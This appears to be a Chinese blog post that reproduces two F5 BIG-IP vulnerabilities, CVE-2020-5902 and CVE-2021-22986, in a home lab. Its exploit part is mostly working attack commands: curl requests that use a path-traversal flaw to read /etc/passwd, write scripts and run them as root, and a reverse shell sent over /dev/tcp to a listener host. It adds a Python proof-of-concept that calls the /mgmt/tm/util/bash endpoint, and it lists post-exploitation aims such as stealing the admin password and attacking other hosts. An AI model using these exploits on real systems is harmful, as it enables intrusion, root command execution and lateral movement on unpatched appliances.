F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]

引言

  F5 BIG-IP 广泛应用于大型企业,数据中心、云计算平台中,可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。这篇文章主要是复现F5的漏洞,包括其被远程代码执行的过程, 以及探究以下我们可以在F5上远程执行代码之后可以做哪些事情。

环境搭建

  F5的环境搭建教程在网上可以查到很多,这里大概介绍以下流程与心得。

  • 首先搭建环境需要使用vmware软件运行F5的镜像来实现,需要下载并安装相关文件,这里使用的是家用个人电脑。
  • 亲测过在F5网站上注册好后,下载含有漏洞的F5镜像失败的,于是在其他网站上找的镜像,F5版本为 BIGIP-15.0.0, 并且该版本中包含了[CVE-2020-5902][CVE_2021_22986]这两个漏洞。
  • 仅对于漏洞利用来讲, F5账号的注册以及申请试用证书这个步骤不是必须的。只要获取的漏洞版本的镜像即可。
  • F5的后台其实是一个linux操作系统,可以执行shell命令。

漏洞 [CVE-2020-5902]

漏洞的原因分析:

漏洞原因是F5 BIG-IP设备前端采用Apache来接收用户请求,后端可同时处理php和java请求,使用AJP协议处理java应用,通过AJP协议将Apache接收到的数据封装并交给Tomcat。查看具体的配置文件/etc/httpd/conf.d/proxy_ajp.conf。

# /etc/httpd/conf.d/proxy_ajp.conf
 
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

Apache在处理 /tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp ,会认为处理的是 /tmui/login.jsp 文件,但是 .*.jsp 会进行最大限度的匹配,所以就会将完整的/tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp 转给 Tomcat 处理。关于Apache 对访问权限校验的处理,得去看 /etc/httpd/modules/mod_auth_pam.so ,Tomcat 在处理 /tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp 的时候,会先去除 ; / 之间的字符。

漏洞验证:

我使用的ip 是192.168.31.211
一共有两种交互方式, 在网页中输入url的方式和输入curl命令的方式。

# 在网页中输入url
https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]_第1张图片

漏洞利用:

利用过程中有如下要点,先提出来:

  • 利用该漏洞可以以root权限在F5环境中执行命令
  • 通过调用crul命令可以对文件进行读写操作
  • bash命令必须要用alias创建别名,否则会命令执行失败
  • 将运行脚本写入F5中的文件, 并运行该脚本,理论上可以执行任意shell命令
  • 使用反弹shell来获取F5的shell
## 创建或者修改别名(create后要使用modify)
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+cli+alias+private+list+command+bash"

## 命令写入脚本并执行脚本
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/test&content=ls /tmp" "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test"

执行了 ls /tmp的命令
F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]_第2张图片

下面进行反弹shell的实验

curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/test&content=bash -i > /dev/tcp/192.168.31.56/7856 0>%261 2>%261" "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test"

要点: &符号在url 中需要转换为%26
请添加图片描述

F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]_第3张图片

获取到shell之后可以做哪些事情呢?

如何进一步扩大攻击范围?

  • 问题,能否隐藏,或者反弹shell能否记录history
  • 获取admin密码
  • 攻击其他ip

漏洞 [CVE_2021_22986]

构造请求数据包,执行任意命令
方法一:
python请求

def POC_1(target_url):
    vuln_url = target_url + "/mgmt/tm/util/bash"
    headers = {
        "Authorization": "Basic YWRtaW46QVNhc1M=",
        "X-F5-Auth-Token": "",
        "Content-Type": "application/json"
    }
    data = '{"command":"run","utilCmdArgs":"-c id"}'

方法二:
postman构造请求:
F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]_第4张图片

F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]_第5张图片

方法三:
curl命令请求:(该方法请求没有验证通过)

下面进行反弹shell的实验
F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]_第6张图片

F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]_第7张图片

你可能感兴趣的:(计算机安全,pytorch,git,branch)